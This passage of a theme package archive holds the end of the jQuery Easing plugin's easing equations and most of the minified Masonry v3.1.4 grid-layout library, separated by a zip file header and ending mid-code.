 *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 
 * OF THE POSSIBILITY OF SUCH DAMAGE. 
 *
*/

// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];

jQuery.extend( jQuery.easing,
{
	def: 'easeOutQuad',
	swing: function (x, t, b, c, d) {
		//alert(jQuery.easing.default);
		return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
	},
	easeInQuad: function (x, t, b, c, d) {
		return c*(t/=d)*t + b;
	},
	easeOutQuad: function (x, t, b, c, d) {
		return -c *(t/=d)*(t-2) + b;
	},
	easeInOutQuad: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t + b;
		return -c/2 * ((--t)*(t-2) - 1) + b;
	},
	easeInCubic: function (x, t, b, c, d) {
		return c*(t/=d)*t*t + b;
	},
	easeOutCubic: function (x, t, b, c, d) {
		return c*((t=t/d-1)*t*t + 1) + b;
	},
	easeInOutCubic: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t + b;
		return c/2*((t-=2)*t*t + 2) + b;
	},
	easeInQuart: function (x, t, b, c, d) {
		return c*(t/=d)*t*t*t + b;
	},
	easeOutQuart: function (x, t, b, c, d) {
		return -c * ((t=t/d-1)*t*t*t - 1) + b;
	},
	easeInOutQuart: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
		return -c/2 * ((t-=2)*t*t*t - 2) + b;
	},
	easeInQuint: function (x, t, b, c, d) {
		return c*(t/=d)*t*t*t*t + b;
	},
	easeOutQuint: function (x, t, b, c, d) {
		return c*((t=t/d-1)*t*t*t*t + 1) + b;
	},
	easeInOutQuint: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
		return c/2*((t-=2)*t*t*t*t + 2) + b;
	},
	easeInSine: function (x, t, b, c, d) {
		return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
	},
	easeOutSine: function (x, t, b, c, d) {
		return c * Math.sin(t/d * (Math.PI/2)) + b;
	},
	easeInOutSine: function (x, t, b, c, d) {
		return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
	},
	easeInExpo: function (x, t, b, c, d) {
		return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
	},
	easeOutExpo: function (x, t, b, c, d) {
		return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
	},
	easeInOutExpo: function (x, t, b, c, d) {
		if (t==0) return b;
		if (t==d) return b+c;
		if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
		return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
	},
	easeInCirc: function (x, t, b, c, d) {
		return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
	},
	easeOutCirc: function (x, t, b, c, d) {
		return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
	},
	easeInOutCirc: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
		return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
	},
	easeInElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
	},
	easeOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
	},
	easeInOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d/2)==2) return b+c;  if (!p) p=d*(.3*1.5);
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
		return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
	},
	easeInBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158;
		return c*(t/=d)*t*((s+1)*t - s) + b;
	},
	easeOutBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158;
		return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
	},
	easeInOutBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158; 
		if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
		return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
	},
	easeInBounce: function (x, t, b, c, d) {
		return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
	},
	easeOutBounce: function (x, t, b, c, d) {
		if ((t/=d) < (1/2.75)) {
			return c*(7.5625*t*t) + b;
		} else if (t < (2/2.75)) {
			return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
		} else if (t < (2.5/2.75)) {
			return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
		} else {
			return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
		}
	},
	easeInOutBounce: function (x, t, b, c, d) {
		if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
		return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
	}
});

/*
 *
 * TERMS OF USE - EASING EQUATIONS
 * 
 * Open source under the BSD License. 
 * 
 * Copyright © 2001 Robert Penner
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without modification, 
 * are permitted provided that the following conditions are met:
 * 
 * Redistributions of source code must retain the above copyright notice, this list of 
 * conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright notice, this list 
 * of conditions and the following disclaimer in the documentation and/or other materials 
 * provided with the distribution.
 * 
 * Neither the name of the author nor the names of contributors may be used to endorse 
 * or promote products derived from this software without specific prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 *  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 
 * OF THE POSSIBILITY OF SUCH DAMAGE. 
 *
 */PK!�a�a'bluetheme/assets/js/masonry.pkgd.min.jsnu&1i�/*!
 * Masonry PACKAGED v3.1.4
 * Cascading grid layout library
 * http://masonry.desandro.com
 * MIT License
 * by David DeSandro
 */

(function(t){function e(){}function i(t){function i(e){e.prototype.option||(e.prototype.option=function(e){t.isPlainObject(e)&&(this.options=t.extend(!0,this.options,e))})}function o(e,i){t.fn[e]=function(o){if("string"==typeof o){for(var s=n.call(arguments,1),a=0,h=this.length;h>a;a++){var p=this[a],u=t.data(p,e);if(u)if(t.isFunction(u[o])&&"_"!==o.charAt(0)){var f=u[o].apply(u,s);if(void 0!==f)return f}else r("no such method '"+o+"' for "+e+" instance");else r("cannot call methods on "+e+" prior to initialization; "+"attempted to call '"+o+"'")}return this}return this.each(function(){var n=t.data(this,e);n?(n.option(o),n._init()):(n=new i(this,o),t.data(this,e,n))})}}if(t){var r="undefined"==typeof console?e:function(t){console.error(t)};return t.bridget=function(t,e){i(e),o(t,e)},t.bridget}}var n=Array.prototype.slice;"function"==typeof define&&define.amd?define("jquery-bridget/jquery.bridget",["jquery"],i):i(t.jQuery)})(window),function(t){function e(e){var i=t.event;return i.target=i.target||i.srcElement||e,i}var i=document.documentElement,n=function(){};i.addEventListener?n=function(t,e,i){t.addEventListener(e,i,!1)}:i.attachEvent&&(n=function(t,i,n){t[i+n]=n.handleEvent?function(){var i=e(t);n.handleEvent.call(n,i)}:function(){var i=e(t);n.call(t,i)},t.attachEvent("on"+i,t[i+n])});var o=function(){};i.removeEventListener?o=function(t,e,i){t.removeEventListener(e,i,!1)}:i.detachEvent&&(o=function(t,e,i){t.detachEvent("on"+e,t[e+i]);try{delete t[e+i]}catch(n){t[e+i]=void 0}});var r={bind:n,unbind:o};"function"==typeof define&&define.amd?define("eventie/eventie",r):"object"==typeof exports?module.exports=r:t.eventie=r}(this),function(t){function e(t){"function"==typeof t&&(e.isReady?t():r.push(t))}function i(t){var i="readystatechange"===t.type&&"complete"!==o.readyState;if(!e.isReady&&!i){e.isReady=!0;for(var n=0,s=r.length;s>n;n++){var a=r[n];a()}}}function n(n){return n.bind(o,"DOMContentLoaded",i),n.bind(o,"readystatechange",i),n.bind(t,"load",i),e}var o=t.document,r=[];e.isReady=!1,"function"==typeof define&&define.amd?(e.isReady="function"==typeof requirejs,define("doc-ready/doc-ready",["eventie/eventie"],n)):t.docReady=n(t.eventie)}(this),function(){function t(){}function e(t,e){for(var i=t.length;i--;)if(t[i].listener===e)return i;return-1}function i(t){return function(){return this[t].apply(this,arguments)}}var n=t.prototype,o=this,r=o.EventEmitter;n.getListeners=function(t){var e,i,n=this._getEvents();if(t instanceof RegExp){e={};for(i in n)n.hasOwnProperty(i)&&t.test(i)&&(e[i]=n[i])}else e=n[t]||(n[t]=[]);return e},n.flattenListeners=function(t){var e,i=[];for(e=0;t.length>e;e+=1)i.push(t[e].listener);return i},n.getListenersAsObject=function(t){var e,i=this.getListeners(t);return i instanceof Array&&(e={},e[t]=i),e||i},n.addListener=function(t,i){var n,o=this.getListenersAsObject(t),r="object"==typeof i;for(n in o)o.hasOwnProperty(n)&&-1===e(o[n],i)&&o[n].push(r?i:{listener:i,once:!1});return this},n.on=i("addListener"),n.addOnceListener=function(t,e){return this.addListener(t,{listener:e,once:!0})},n.once=i("addOnceListener"),n.defineEvent=function(t){return this.getListeners(t),this},n.defineEvents=function(t){for(var e=0;t.length>e;e+=1)this.defineEvent(t[e]);return this},n.removeListener=function(t,i){var n,o,r=this.getListenersAsObject(t);for(o in r)r.hasOwnProperty(o)&&(n=e(r[o],i),-1!==n&&r[o].splice(n,1));return this},n.off=i("removeListener"),n.addListeners=function(t,e){return this.manipulateListeners(!1,t,e)},n.removeListeners=function(t,e){return this.manipulateListeners(!0,t,e)},n.manipulateListeners=function(t,e,i){var n,o,r=t?this.removeListener:this.addListener,s=t?this.removeListeners:this.addListeners;if("object"!=typeof e||e instanceof RegExp)for(n=i.length;n--;)r.call(this,e,i[n]);else for(n in e)e.hasOwnProperty(n)&&(o=e[n])&&("function"==typeof o?r.call(this,n,o):s.call(this,n,o));return this},n.removeEvent=function(t){var e,i=typeof t,n=this._getEvents();if("string"===i)delete n[t];else if(t instanceof RegExp)for(e in n)n.hasOwnProperty(e)&&t.test(e)&&delete n[e];else delete this._events;return this},n.removeAllListeners=i("removeEvent"),n.emitEvent=function(t,e){var i,n,o,r,s=this.getListenersAsObject(t);for(o in s)if(s.hasOwnProperty(o))for(n=s[o].length;n--;)i=s[o][n],i.once===!0&&this.removeListener(t,i.listener),r=i.listener.apply(this,e||[]),r===this._getOnceReturnValue()&&this.removeListener(t,i.listener);return this},n.trigger=i("emitEvent"),n.emit=function(t){var e=Array.prototype.slice.call(arguments,1);return this.emitEvent(t,e)},n.setOnceReturnValue=function(t){return this._onceReturnValue=t,this},n._getOnceReturnValue=function(){return this.hasOwnProperty("_onceReturnValue")?this._onceReturnValue:!0},n._getEvents=function(){return this._events||(this._events={})},t.noConflict=function(){return o.EventEmitter=r,t},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return t}):"object"==typeof module&&module.exports?module.exports=t:this.EventEmitter=t}.call(this),function(t){function e(t){if(t){if("string"==typeof n[t])return t;t=t.charAt(0).toUpperCase()+t.slice(1);for(var e,o=0,r=i.length;r>o;o++)if(e=i[o]+t,"string"==typeof n[e])return e}}var i="Webkit Moz ms Ms O".split(" "),n=document.documentElement.style;"function"==typeof define&&define.amd?define("get-style-property/get-style-property",[],function(){return e}):"object"==typeof exports?module.exports=e:t.getStyleProperty=e}(window),function(t){function e(t){var e=parseFloat(t),i=-1===t.indexOf("%")&&!isNaN(e);return i&&e}function i(){for(var t={width:0,height:0,innerWidth:0,innerHeight:0,outerWidth:0,outerHeight:0},e=0,i=s.length;i>e;e++){var n=s[e];t[n]=0}return t}function n(t){function n(t){if("string"==typeof t&&(t=document.querySelector(t)),t&&"object"==typeof t&&t.nodeType){var n=r(t);if("none"===n.display)return i();var o={};o.width=t.offsetWidth,o.height=t.offsetHeight;for(var u=o.isBorderBox=!(!p||!n[p]||"border-box"!==n[p]),f=0,c=s.length;c>f;f++){var d=s[f],l=n[d];l=a(t,l);var m=parseFloat(l);o[d]=isNaN(m)?0:m}var y=o.paddingLeft+o.paddingRight,g=o.paddingTop+o.paddingBottom,v=o.marginLeft+o.marginRight,b=o.marginTop+o.marginBottom,_=o.borderLeftWidth+o.borderRightWidth,E=o.borderTopWidth+o.borderBottomWidth,L=u&&h,x=e(n.width);x!==!1&&(o.width=x+(L?0:y+_));var z=e(n.height);return z!==!1&&(o.height=z+(L?0:g+E)),o.innerWidth=o.width-(y+_),o.innerHeight=o.height-(g+E),o.outerWidth=o.width+v,o.outerHeight=o.height+b,o}}function a(t,e){if(o||-1===e.indexOf("%"))return e;var i=t.style,n=i.left,r=t.runtimeStyle,s=r&&r.left;return s&&(r.left=t.currentStyle.left),i.left=e,e=i.pixelLeft,i.left=n,s&&(r.left=s),e}var h,p=t("boxSizing");return function(){if(p){var t=document.createElement("div");t.style.width="200px",t.style.padding="1px 2px 3px 4px",t.style.borderStyle="solid",t.style.borderWidth="1px 2px 3px 4px",t.style[p]="border-box";var i=document.body||document.documentElement;i.appendChild(t);var n=r(t);h=200===e(n.width),i.removeChild(t)}}(),n}var o=t.getComputedStyle,r=o?function(t){return o(t,null)}:function(t){return t.currentStyle},s=["paddingLeft","paddingRight","paddingTop","paddingBottom","marginLeft","marginRight","marginTop","marginBottom","borderLeftWidth","borderRightWidth","borderTopWidth","borderBottomWidth"];"function"==typeof define&&define.amd?define("get-size/get-size",["get-style-property/get-style-property"],n):"object"==typeof exports?module.exports=n(require("get-style-property")):t.getSize=n(t.getStyleProperty)}(window),function(t,e){function i(t,e){return t[a](e)}function n(t){if(!t.parentNode){var e=document.createDocumentFragment();e.appendChild(t)}}function o(t,e){n(t);for(var i=t.parentNode.querySelectorAll(e),o=0,r=i.length;r>o;o++)if(i[o]===t)return!0;return!1}function r(t,e){return n(t),i(t,e)}var s,a=function(){if(e.matchesSelector)return"matchesSelector";for(var t=["webkit","moz","ms","o"],i=0,n=t.length;n>i;i++){var o=t[i],r=o+"MatchesSelector";if(e[r])return r}}();if(a){var h=document.createElement("div"),p=i(h,"div");s=p?i:r}else s=o;"function"==typeof define&&define.amd?define("matches-selector/matches-selector",[],function(){return s}):window.matchesSelector=s}(this,Element.prototype),function(t){function e(t,e){for(var i in e)t[i]=e[i];return t}function i(t){for(var e in t)return!1;return e=null,!0}function n(t){return t.replace(/([A-Z])/g,function(t){return"-"+t.toLowerCase()})}function o(t,o,r){function a(t,e){t&&(this.element=t,this.layout=e,this.position={x:0,y:0},this._create())}var h=r("transition"),p=r("transform"),u=h&&p,f=!!r("perspective"),c={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"otransitionend",transition:"transitionend"}[h],d=["transform","transition","transitionDuration","transitionProperty"],l=function(){for(var t={},e=0,i=d.length;i>e;e++){var n=d[e],o=r(n);o&&o!==n&&(t[n]=o)}return t}();e(a.prototype,t.prototype),a.prototype._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},a.prototype.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},a.prototype.getSize=function(){this.size=o(this.element)},a.prototype.css=function(t){var e=this.element.style;for(var i in t){var n=l[i]||i;e[n]=t[i]}},a.prototype.getPosition=function(){var t=s(this.element),e=this.layout.options,i=e.isOriginLeft,n=e.isOriginTop,o=parseInt(t[i?"left":"right"],10),r=parseInt(t[n?"top":"bottom"],10);o=isNaN(o)?0:o,r=isNaN(r)?0:r;var a=this.layout.size;o-=i?a.paddingLeft:a.paddingRight,r-=n?a.paddingTop:a.paddingBottom,this.position.x=o,this.position.y=r},a.prototype.layoutPosition=function(){var t=this.layout.size,e=this.layout.options,i={};e.isOriginLeft?(i.left=this.position.x+t.paddingLeft+"px",i.right=""):(i.right=this.position.x+t.paddingRight+"px",i.left=""),e.isOriginTop?(i.top=this.position.y+t.paddingTop+"px",i.bottom=""):(i.bottom=this.position.y+t.paddingBottom+"px",i.top=""),this.css(i),this.emitEvent("layout",[this])};var m=f?function(t,e){return"translate3d("+t+"px, "+e+"px, 0)"}:function(t,e){return"translate("+t+"px, "+e+"px)"};a.prototype._transitionTo=function(t,e){this.getPosition();var i=this.position.x,n=this.position.y,o=parseInt(t,10),r=parseInt(e,10),s=o===this.position.x&&r===this.position.y;if(this.setPosition(t,e),s&&!this.isTransitioning)return this.layoutPosition(),void 0;var a=t-i,h=e-n,p={},u=this.layout.options;a=u.isOriginLeft?a:-a,h=u.isOriginTop?h:-h,p.transform=m(a,h),this.transition({to:p,onTransitionEnd:{transform:this.layoutPosition},isCleaning:!0})},a.prototype.goTo=function(t,e){this.setPosition(t,e),this.layoutPosition()},a.prototype.moveTo=u?a.prototype._transitionTo:a.prototype.goTo,a.prototype.setPosition=function(t,e){this.position.x=parseInt(t,10),this.position.y=parseInt(e,10)},a.prototype._nonTransition=function(t){this.css(t.to),t.isCleaning&&this._removeStyles(t.to);for(var e in t.onTransitionEnd)t.onTransitionEnd[e].call(this)},a.prototype._transition=function(t){if(!parseFloat(this.layout.options.transitionDuration))return this._nonTransition(t),void 0;var e=this._transn;for(var i in t.onTransitionEnd)e.onEnd[i]=t.onTransitionEnd[i];for(i in t.to)e.ingProperties[i]=!0,t.isCleaning&&(e.clean[i]=!0);if(t.from){this.css(t.from);var n=this.element.offsetHeight;n=null}this.enableTransition(t.to),this.css(t.to),this.isTransitioning=!0};var y=p&&n(p)+",opacity";a.prototype.enableTransition=function(){this.isTransitioning||(this.css({transitionProperty:y,transitionDuration:this.layout.options.transitionDuration}),this.element.addEventListener(c,this,!1))},a.prototype.transition=a.prototype[h?"_transition":"_nonTransition"],a.prototype.onwebkitTransitionEnd=function(t){this.ontransitionend(t)},a.prototype.onotransitionend=function(t){this.ontransitionend(t)};var g={"-webkit-transform":"transform","-moz-transform":"transform","-o-transform":"transform"};a.prototype.ontransitionend=function(t){if(t.target===this.element){var e=this._transn,n=g[t.propertyName]||t.propertyName;if(delete e.ingProperties[n],i(e.ingProperties)&&this.disableTransition(),n in e.clean&&(this.element.style[t.propertyName]="",delete e.clean[n]),n in e.onEnd){var o=e.onEnd[n];o.call(this),delete e.onEnd[n]}this.emitEvent("transitionEnd",[this])}},a.prototype.disableTransition=function(){this.removeTransitionStyles(),this.element.removeEventListener(c,this,!1),this.isTransitioning=!1},a.prototype._removeStyles=function(t){var e={};for(var i in t)e[i]="";this.css(e)};var v={transitionProperty:"",transitionDuration:""};return a.prototype.removeTransitionStyles=function(){this.css(v)},a.prototype.removeElem=function(){this.element.parentNode.removeChild(this.element),this.emitEvent("remove",[this])},a.prototype.remove=function(){if(!h||!parseFloat(this.layout.options.transitionDuration))return this.removeElem(),void 0;var t=this;this.on("transitionEnd",function(){return t.removeElem(),!0}),this.hide()},a.prototype.reveal=function(){delete this.isHidden,this.css({display:""});var t=this.layout.options;this.transition({from:t.hiddenStyle,to:t.visibleStyle,isCleaning:!0})},a.prototype.hide=function(){this.isHidden=!0,this.css({display:""});var t=this.layout.options;this.transition({from:t.visibleStyle,to:t.hiddenStyle,isCleaning:!0,onTransitionEnd:{opacity:function(){this.isHidden&&this.css({display:"none"})}}})},a.prototype.destroy=function(){this.css({position:"",left:"",right:"",top:"",bottom:"",transition:"",transform:""})},a}var r=document.defaultView,s=r&&r.getComputedStyle?function(t){return r.getComputedStyle(t,null)}:function(t){return t.currentStyle};"function"==typeof define&&define.amd?define("outlayer/item",["eventEmitter/EventEmitter","get-size/get-size","get-style-property/get-style-property"],o):(t.Outlayer={},t.Outlayer.Item=o(t.EventEmitter,t.getSize,t.getStyleProperty))}(window),function(t){function e(t,e){for(var i in e)t[i]=e[i];return t}function i(t){return"[object Array]"===f.call(t)}function n(t){var e=[];if(i(t))e=t;else if(t&&"number"==typeof t.length)for(var n=0,o=t.length;o>n;n++)e.push(t[n]);else e.push(t);return e}function o(t,e){var i=d(e,t);-1!==i&&e.splice(i,1)}function r(t){return t.replace(/(.)([A-Z])/g,function(t,e,i){return e+"-"+i}).toLowerCase()}function s(i,s,f,d,l,m){function y(t,i){if("string"==typeof t&&(t=a.querySelector(t)),!t||!c(t))return h&&h.error("Bad "+this.constructor.namespace+" element: "+t),void 0;this.element=t,this.options=e({},this.options),this.option(i);var n=++v;this.element.outlayerGUID=n,b[n]=this,this._create(),this.options.isInitLayout&&this.layout()}function g(t,i){t.prototype[i]=e({},y.prototype[i])}var v=0,b={};return y.namespace="outlayer",y.Item=m,y.prototype.options={containerStyle:{position:"relative"},isInitLayout:!0,isOriginLeft:!0,isOriginTop:!0,isResizeBound:!0,transitionDuration:"0.4s",hiddenStyle:{opacity:0,transform:"scale(0.001)"},visibleStyle:{opacity:1,transform:"scale(1)"}},e(y.prototype,f.prototype),y.prototype.option=function(t){e(this.options,t)},y.prototype._create=function(){this.reloadItems(),this.stamps=[],this.stamp(this.options.stamp),e(this.element.style,this.options.containerStyle),this.options.isResizeBound&&this.bindResize()},y.prototype.reloadItems=function(){this.items=this._itemize(this.element.children)},y.prototype._itemize=function(t){for(var e=this._filterFindItemElements(t),i=this.constructor.Item,n=[],o=0,r=e.length;r>o;o++){var s=e[o],a=new i(s,this);n.push(a)}return n},y.prototype._filterFindItemElements=function(t){t=n(t);for(var e=this.options.itemSelector,i=[],o=0,r=t.length;r>o;o++){var s=t[o];if(c(s))if(e){l(s,e)&&i.push(s);for(var a=s.querySelectorAll(e),h=0,p=a.length;p>h;h++)i.push(a[h])}else i.push(s)}return i},y.prototype.getItemElements=function(){for(var t=[],e=0,i=this.items.length;i>e;e++)t.push(this.items[e].element);return t},y.prototype.layout=function(){this._resetLayout(),this._manageStamps();var t=void 0!==this.options.isLayoutInstant?this.options.isLayoutInstant:!this._isLayoutInited;this.layoutItems(this.items,t),this._isLayoutInited=!0},y.prototype._init=y.prototype.layout,y.prototype._resetLayout=function(){this.getSize()},y.prototype.getSize=function(){this.size=d(this.element)},y.prototype._getMeasurement=function(t,e){var i,n=this.options[t];n?("string"==typeof n?i=this.element.querySelector(n):c(n)&&(i=n),this[t]=i?d(i)[e]:n):this[t]=0},y.prototype.layoutItems=function(t,e){t=this._getItemsForLayout(t),this._layoutItems(t,e),this._postLayout()},y.prototype._getItemsForLayout=function(t){for(var e=[],i=0,n=t.length;n>i;i++){var o=t[i];o.isIgnored||e.push(o)}return e},y.prototype._layoutItems=function(t,e){function i(){n.emitEvent("layoutComplete",[n,t])}var n=this;if(!t||!t.length)return i(),void 0;this._itemsOn(t,"layout",i);for(var o=[],r=0,s=t.length;s>r;r++){var a=t[r],h=this._getItemLayoutPosition(a);h.item=a,h.isInstant=e||a.isLayoutInstant,o.push(h)}this._processLayoutQueue(o)},y.prototype._getItemLayoutPosition=function(){return{x:0,y:0}},y.prototype._processLayoutQueue=function(t){for(var e=0,i=t.length;i>e;e++){var n=t[e];this._positionItem(n.item,n.x,n.y,n.isInstant)}},y.prototype._positionItem=function(t,e,i,n){n?t.goTo(e,i):t.moveTo(e,i)},y.prototype._postLayout=function(){var t=this._getContainerSize();t&&(this._setContainerMeasure(t.width,!0),this._setContainerMeasure(t.height,!1))},y.prototype._getContainerSize=u,y.prototype._setContainerMeasure=function(t,e){if(void 0!==t){var i=this.size;i.isBorderBox&&(t+=e?i.paddingLeft+i.paddingRight+i.borderLeftWidth+i.borderRightWidth:i.paddingBottom+i.paddingTop+i.borderTopWidth+i.borderBottomWidth),t=Math.max(t,0),this.element.style[e?"width":"height"]=t+"px"}},y.prototype._itemsOn=function(t,e,i){function n(){return o++,o===r&&i.call(s),!0}for(var o=0,r=t.length,s=this,a=0,h=t.length;h>a;a++){var p=t[a];p.on(e,n)}},y.prototype.ignore=function(t){var e=this.getItem(t);e&&(e.isIgnored=!0)},y.prototype.unignore=function(t){var e=this.getItem(t);e&&delete e.isIgnored},y.prototype.stamp=function(t){if(t=this._find(t)){this.stamps=this.stamps.concat(t);for(var e=0,i=t.length;i>e;e++){var n=t[e];this.ignore(n)}}},y.prototype.unstamp=function(t){if(t=this._find(t))for(var e=0,i=t.length;i>e;e++){var n=t[e];o(n,this.stamps),this.unignore(n)}},y.prototype._find=function(t){return t?("string"==typeof t&&(t=this.element.querySelectorAll(t)),t=n(t)):void 0},y.prototype._manageStamps=function(){if(this.stamps&&this.stamps.length){this._getBoundingRect();for(var t=0,e=this.stamps.length;e>t;t++){var i=this.stamps[t];this._manageStamp(i)}}},y.prototype._getBoundingRect=function(){var t=this.element.getBoundingClientRect(),e=this.size;this._boundingRect={left:t.left+e.paddingLeft+e.borderLeftWidth,top:t.top+e.paddingTop+e.borderTopWidth,right:t.right-(e.paddingRight+e.borderRightWidth),bottom:t.bottom-(e.paddingBottom+e.borderBottomWidth)}},y.prototype._manageStamp=u,y.prototype._getElementOffset=function(t){var e=t.getBoundingClientRect(),i=this._boundingRect,n=d(t),o={left:e.left-i.left-n.marginLeft,top:e.top-i.top-n.marginTop,right:i.right-e.right-n.marginRight,bottom:i.bottom-e.bottom-n.marginBottom};return o},y.prototype.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},y.prototype.bindResize=function(){this.isResizeBound||(i.bind(t,"resize",this),this.isResizeBound=!0)},y.prototype.unbindResize=function(){i.unbind(t,"resize",this),this.isResizeBound=!1},y.prototype.onresize=function(){function t(){e.resize(),delete e.resizeTimeout}this.resizeTimeout&&clearTimeout(this.resizeTimeout);var e=this;this.resizeTimeout=setTimeout(t,100)},y.prototype.resize=function(){var t=d(this.element),e=this.size&&t;e&&t.innerWidth===this.size.innerWidth||this.layout()},y.prototype.addItems=function(t){var e=this._itemize(t);return e.length&&(this.items=this.items.concat(e)),e},y.prototype.appended=function(t){var e=this.addItems(t);e.length&&(this.layoutItems(e,!0),this.reveal(e))},y.prototype.prepended=function(t){var e=this._itemize(t);if(e.length){var i=this.items.slice(0);this.items=e.concat(i),this._resetLayout(),this._manageStamps(),this.layoutItems(e,!0),this.reveal(e),this.layoutItems(i)}},y.prototype.reveal=function(t){var e=t&&t.length;if(e)for(var i=0;e>i;i++){var n=t[i];n.reveal()}},y.prototype.hide=function(t){var e=t&&t.length;if(e)for(var i=0;e>i;i++){var n=t[i];n.hide()}},y.prototype.getItem=function(t){for(var e=0,i=this.items.length;i>e;e++){var n=this.items[e];if(n.element===t)return n}},y.prototype.getItems=function(t){if(t&&t.length){for(var e=[],i=0,n=t.length;n>i;i++){var o=t[i],r=this.getItem(o);r&&e.push(r)}return e}},y.prototype.remove=function(t){t=n(t);var e=this.getItems(t);if(e&&e.length){this._itemsOn(e,"remove",function(){this.emitEvent("removeComplete",[this,e])});for(var i=0,r=e.length;r>i;i++){var s=e[i];s.remove(),o(s,this.items)}}},y.prototype.destroy=function(){var t=this.element.style;t.height="",t.position="",t.width="";for(var e=0,i=this.items.length;i>e;e++){var n=this.items[e];n.destroy()}this.unbindResize(),delete this.element.outlayerGUID,p&&p.removeData(this.element,this.constructor.namespace)},y.data=function(t){var e=t&&t.outlayerGUID;return e&&b[e]},y.create=function(t,i){function n(){y.apply(this,arguments)}return Object.create?n.prototype=Object.create(y.prototype):e(n.prototype,y.prototype),n.prototype.constructor=n,g(n,"options"),e(n.prototype.options,i),n.namespace=t,n.data=y.data,n.Item=function(){m.apply(this,arguments)},n.Item.prototype=new m,s(function(){for(var e=r(t),i=a.querySelectorAll(".js-"+e),o="data-"+e+"-options",s=0,u=i.length;u>s;s++){var f,c=i[s],d=c.getAttribute(o);try{f=d&&JSON.parse(d)}catch(l){h&&h.error("Error parsing "+o+" on "+c.nodeName.toLowerCase()+(c.id?"#"+c.id:"")+": "+l);continue}var m=new n(c,f);p&&p.data(c,t,m)}}),p&&p.bridget&&p.bridget(t,n),n},y.Item=m,y}var a=t.document,h=t.console,p=t.jQuery,u=function(){},f=Object.prototype.toString,c="object"==typeof HTMLElement?function(t){return t instanceof HTMLElement}:function(t){return t&&"object"==typeof t&&1===t.nodeType&&"string"==typeof t.nodeName},d=Array.prototype.indexOf?function(t,e){return 